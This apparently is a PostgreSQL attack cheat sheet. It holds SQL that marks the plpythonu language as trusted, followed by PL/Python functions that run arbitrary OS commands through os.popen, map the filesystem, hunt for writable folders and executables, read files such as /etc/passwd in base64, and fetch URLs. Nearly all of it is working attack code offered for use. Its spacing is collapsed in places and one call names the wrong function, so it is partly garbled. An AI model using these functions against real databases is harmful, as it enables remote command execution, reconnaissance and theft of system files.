UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';# Tocheck your permissions over the table pg_languageSELECT*FROM information_schema.table_privileges WHERE table_name ='pg_language';
CREATE OR REPLACEFUNCTIONexec (cmd text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.popen(cmd).read()#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})$$LANGUAGE'plpythonu';SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACEFUNCTIONget_user (pkg text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.getlogin()$$LANGUAGE'plpythonu';SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACEFUNCTIONlsdir (dir text)RETURNSVARCHAR(65535) stableAS $$import jsonfrom os import walkfiles =next(walk(dir), (None, None, []))return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]$$LANGUAGE'plpythonu';SELECT lsdir("/"); #List dir
CREATE OR REPLACEFUNCTIONfindw (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):writables = []def find_writable(path):ifnot os.path.isdir(path):returnif os.access(path, os.W_OK):writables.append(path)ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_writable(os.path.join(path, item))find_writable(path)return writablesreturn", ".join(my_find(dir))$$LANGUAGE'plpythonu';SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACEFUNCTIONfind_file (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in os.path.basename(i):b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_file("psql"); #Find a file
CREATE OR REPLACEFUNCTIONfindx (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find(dir)b = []for i in a:b.append(os.path.basename(i))return", ".join(b)$$LANGUAGE'plpythonu';SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACEFUNCTIONfind_exe (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in i:b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_exe("psql"); #Find executableby susbstring
CREATE OR REPLACEFUNCTIONread (pathtext)RETURNSVARCHAR(65535) stableAS $$import base64encoded_string= base64.b64encode(open(path).read())return encoded_string.decode('utf-8')returnopen(path).read()$$LANGUAGE'plpythonu';selectread('/etc/passwd'); #Read a filein b64
CREATE OR REPLACEFUNCTIONget_perms (pathtext)RETURNSVARCHAR(65535) stableAS $$import osstatus= os.stat(path)perms = oct(status.st_mode)[-3:]returnstr(perms)$$LANGUAGE'plpythonu';select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACEFUNCTIONreq2 (urltext)RETURNSVARCHAR(65535) stableAS $$import urllibr = urllib.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req2('https://google.com'); #Request using python2CREATE OR REPLACEFUNCTIONreq3 (urltext)RETURNSVARCHAR(65535) stableAS $$from urllib import requestr = request.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req3('https://google.com'); #Request using python3